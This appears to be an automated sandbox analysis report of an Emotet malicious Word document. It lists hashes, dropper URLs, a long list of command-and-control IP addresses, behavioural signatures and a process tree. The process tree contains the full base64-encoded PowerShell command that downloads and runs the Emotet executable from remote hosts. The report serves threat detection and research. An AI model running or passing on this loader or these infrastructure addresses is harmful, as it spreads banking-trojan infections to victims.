emotet | 1029df0eba892e7037573cf6ee32da0953dba74df5e4dc6ac1cc94c91c04148c

Analysis

max time kernel
135s
max time network
145s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 14:45

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General

Target
emotet_e1_1029df0eba892e7037573cf6ee32da0953dba74df5e4dc6ac1cc94c91c04148c_2020-08-19__144329._doc.doc
Size 246KB
Sample200819-gcgfn4tx22
SHA256 1029df0eba892e7037573cf6ee32da0953dba74df5e4dc6ac1cc94c91c04148c
MD5 9d8902c62362834eb21fd61f80019f9c
SHA1 3249e2e86b44c6013f4ca651786c82f5ac8be579
SHA512 e9eb7249e5b5fea9f318b06491bf3f6537f779f97214f57d46b74bcd6669493345a50bad13d4ce0f7aa57969835d0f91554d2e6da8d7b38c9812972cd87a4568
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://sonacars.com/sys-cache/f/
exe.dropper
http://abcv5.com/wp-includes/7/
exe.dropper
http://simonwhite.us/sys-cache/q0/
exe.dropper
http://benitezseguros.com.ar/dkywlkxs/Gd/
exe.dropper
http://reiget.com/z4utsk/n70/
exe.dropper
https://speedypush.com/wp-content/Eb/

Extracted

Family

emotet

82.163.245.38:80
209.126.6.222:8080
5.153.250.14:8080
186.70.127.199:8090
190.128.173.10:80
190.195.129.227:8090
91.219.169.180:80
45.173.88.33:80
185.33.0.233:80
188.2.217.94:80
207.144.103.227:80
45.161.242.102:80
219.92.13.25:80
190.163.31.26:80
68.183.170.114:8080
191.99.160.58:80
73.213.208.163:80
94.176.234.118:443
104.131.41.185:8080
45.33.77.42:8080
114.109.179.60:80
213.60.96.117:80
41.84.248.134:443
83.169.21.32:7080
82.76.111.249:443
217.199.160.224:7080
80.249.176.206:80
82.196.15.205:8080
204.225.249.100:7080
190.6.193.152:8080
189.2.177.210:443
177.72.13.80:80
24.135.1.177:80
190.115.18.139:8080
192.241.146.84:8080
209.236.123.42:8080
213.176.36.147:8080
5.196.35.138:7080
104.131.103.37:8080
51.159.23.217:443
190.147.137.153:443
149.62.173.247:8080
137.74.106.111:7080
61.92.159.208:8080
177.73.0.98:443
24.135.198.218:80
85.105.140.135:443
187.162.248.237:80
46.28.111.142:7080
116.125.120.88:443
87.106.46.107:8080
212.71.237.140:8080
12.162.84.2:8080
178.79.163.131:8080
111.67.12.221:8080
95.9.180.128:80
192.241.143.52:8080
201.171.150.41:443
24.148.98.177:80
190.190.148.27:8080
186.103.141.250:443
72.47.248.48:7080
68.183.190.199:8080
172.104.169.32:8080
185.94.252.12:80
178.250.54.208:8080
91.222.77.105:80
217.13.106.14:8080
77.90.136.129:8080
2.47.112.152:80
95.180.234.21:80
186.250.52.226:8080
181.129.96.162:8080
77.55.211.77:8080
185.94.252.27:443
174.100.27.229:80
177.74.228.34:80
67.247.242.247:80
95.85.151.205:80
70.32.115.157:8080
89.32.150.160:8080
212.93.117.170:80
50.28.51.143:8080
94.206.45.18:80
202.4.57.96:80
191.182.6.118:80
58.171.153.81:80
143.0.87.101:80
51.255.165.160:8080
70.32.84.74:8080
73.116.193.136:80
170.81.48.2:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3112	3944	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2120-17-0x00000000021B0000-0x00000000021BC000-memory.dmp	emotet
behavioral2/memory/2120-17-0x00000000021B0000-0x00000000021BC000-memory.dmp	emotet
behavioral2/memory/1588-20-0x00000000020F0000-0x00000000020FC000-memory.dmp	emotet
behavioral2/memory/1588-20-0x00000000020F0000-0x00000000020FC000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
12	3112	powersheLL.exe
14	3112	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2120	Szrww6tn.exe
1588	usoapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\gdi32full\usoapi.exe	Szrww6tn.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3112	powersheLL.exe
3112	powersheLL.exe
3112	powersheLL.exe
1588	usoapi.exe
1588	usoapi.exe
1588	usoapi.exe
1588	usoapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3112	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
2120	Szrww6tn.exe
2120	Szrww6tn.exe
1588	usoapi.exe
1588	usoapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3112 wrote to memory of 2120	3112	powersheLL.exe	75
PID 3112 wrote to memory of 2120	3112	powersheLL.exe	75
PID 3112 wrote to memory of 2120	3112	powersheLL.exe	75
PID 2120 wrote to memory of 1588	2120	Szrww6tn.exe	76
PID 2120 wrote to memory of 1588	2120	Szrww6tn.exe	76
PID 2120 wrote to memory of 1588	2120	Szrww6tn.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1029df0eba892e7037573cf6ee32da0953dba74df5e4dc6ac1cc94c91c04148c_2020-08-19__144329._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3024

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTADgAZgA4AHAAYgBpAD0AKAAnAFMAZQAyAGMAbQAnACsAJwBkACcAKwAnADIAJwApADsALgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUATQBwAFwAbwBmAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAGAASQB0AHkAUAByAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAB0AGwAcwAxACcAKwAnADEALAAgACcAKwAnAHQAJwArACcAbAAnACsAJwBzACcAKQA7ACQARgA4AHMAYgAwAGkAMAAgAD0AIAAoACcAUwB6AHIAJwArACcAdwB3ADYAJwArACcAdABuACcAKQA7ACQARwBtAHAAaABpADMAZQA9ACgAJwBEAHAAJwArACcAOQAnACsAJwBlAGMAagA2ACcAKQA7ACQAWABwAHEAcAB1ADgAbAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmAGYAJwArACcAaQBjACcAKwAnAGUAJwArACcAMgAwADEAOQB7ADAAJwArACcAfQAnACkALQBGACAAWwBDAEgAYQByAF0AOQAyACkAKwAkAEYAOABzAGIAMABpADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEEAMQBwAGcAagAzAGUAPQAoACcAWgBsAGoAJwArACcAMwBtADkANQAnACkAOwAkAFUAMQBuAG8AYQBjAGsAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAQwBMAGkARQBuAHQAOwAkAEcAMwBvAHYAbQAxAGoAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBzAG8AbgBhAGMAJwArACcAYQByAHMAJwArACcALgBjACcAKwAnAG8AbQAvAHMAeQBzAC0AYwBhAGMAaAAnACsAJwBlAC8AZgAvACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwBhAGIAYwB2ADUAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAnACsAJwAtAGkAbgBjAGwAdQBkAGUAcwAvADcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AcwBpAG0AbwBuAHcAaABpAHQAZQAnACsAJwAuAHUAcwAvAHMAeQBzACcAKwAnAC0AJwArACcAYwBhACcAKwAnAGMAaAAnACsAJwBlAC8AcQAnACsAJwAwAC8AJwArACcAKgAnACsAJwBoAHQAdABwADoALwAvAGIAZQBuAGkAdAAnACsAJwBlAHoAJwArACcAcwAnACsAJwBlAGcAJwArACcAdQByAG8AcwAnACsAJwAuAGMAJwArACcAbwBtAC4AJwArACcAYQByACcAKwAnAC8AZABrAHkAdwAnACsAJwBsAGsAeABzAC8AJwArACcARwBkAC8AKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAHIAZQBpAGcAZQAnACsAJwB0ACcAKwAnAC4AYwBvACcAKwAnAG0AJwArACcALwB6ADQAdQB0AHMAawAvAG4ANwAnACsAJwAwAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwAHMAJwArACcAOgAnACsAJwAvAC8AcwAnACsAJwBwAGUAZQBkAHkAcAB1AHMAaAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAYgAvACcAKQAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAHEAZgB6ADQAaQByAD0AKAAnAFEAJwArACcAZABoAHkANABvACcAKwAnAHgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASgA5AHoAZQA2AGoAXwAgAGkAbgAgACQARwAzAG8AdgBtADEAagApAHsAdAByAHkAewAkAFUAMQBuAG8AYQBjAGsALgAiAGQAbwBXAGAATgBgAGwAbwBBAGQAZgBgAGkATABlACIAKAAkAEoAOQB6AGUANgBqAF8ALAAgACQAWABwAHEAcAB1ADgAbAApADsAJABQAHAAdwBmAGQAZwBoAD0AKAAnAEYAJwArACcAagBpADgAcwAnACsAJwBuAHcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFgAcABxAHAAdQA4AGwAKQAuACIAbABFAGAATgBgAEcAdABoACIAIAAtAGcAZQAgADIANAA0ADMANgApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABYAHAAcQBwAHUAOABsACkAOwAkAE8AbQB4AGQAZgBvADMAPQAoACcAQwB1ACcAKwAnAGYAdgByAG4AJwArACcAdwAnACkAOwBiAHIAZQBhAGsAOwAkAFcAZgA4AGwAegBsAHcAPQAoACcAUgByAHQAYQB2ADYAJwArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAYwBqAGMAYQBsAHEAPQAoACcAVgAnACsAJwA4AGEAeABiADgAMgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3112
- C:\Users\Admin\AppData\Local\Temp\Office2019\Szrww6tn.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Szrww6tn.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\SysWOW64\gdi32full\usoapi.exe
    "C:\Windows\SysWOW64\gdi32full\usoapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1588-20-0x00000000020F0000-0x00000000020FC000-memory.dmp

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memory/2120-17-0x00000000021B0000-0x00000000021BC000-memory.dmp

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memory/3024-6-0x000002AF8CBD6000-0x000002AF8CBDB000-memory.dmp

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memory/3024-9-0x000002AF8CCC3000-0x000002AF8CCCB000-memory.dmp

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memory/3024-10-0x000002AF8CCC3000-0x000002AF8CCCB000-memory.dmp

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memory/3024-8-0x000002AF8CCC3000-0x000002AF8CCCB000-memory.dmp

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memory/3024-7-0x000002AF8142F000-0x000002AF8143A000-memory.dmp

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memory/3024-0-0x00007FFF59CC0000-0x00007FFF5A386000-memory.dmp

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memory/3024-5-0x000002AF8CBC5000-0x000002AF8CBD6000-memory.dmp

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memory/3024-4-0x000002AF8CBC5000-0x000002AF8CBD6000-memory.dmp

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memory/3024-3-0x000002AF8CBD6000-0x000002AF8CBDB000-memory.dmp

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memory/3024-1-0x000002AF8B380000-0x000002AF8B384000-memory.dmp

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memory/3112-11-0x00007FFF51F60000-0x00007FFF5294C000-memory.dmp

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memory/3112-12-0x0000024561500000-0x0000024561501000-memory.dmp

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memory/3112-13-0x00000245617C0000-0x00000245617C1000-memory.dmp

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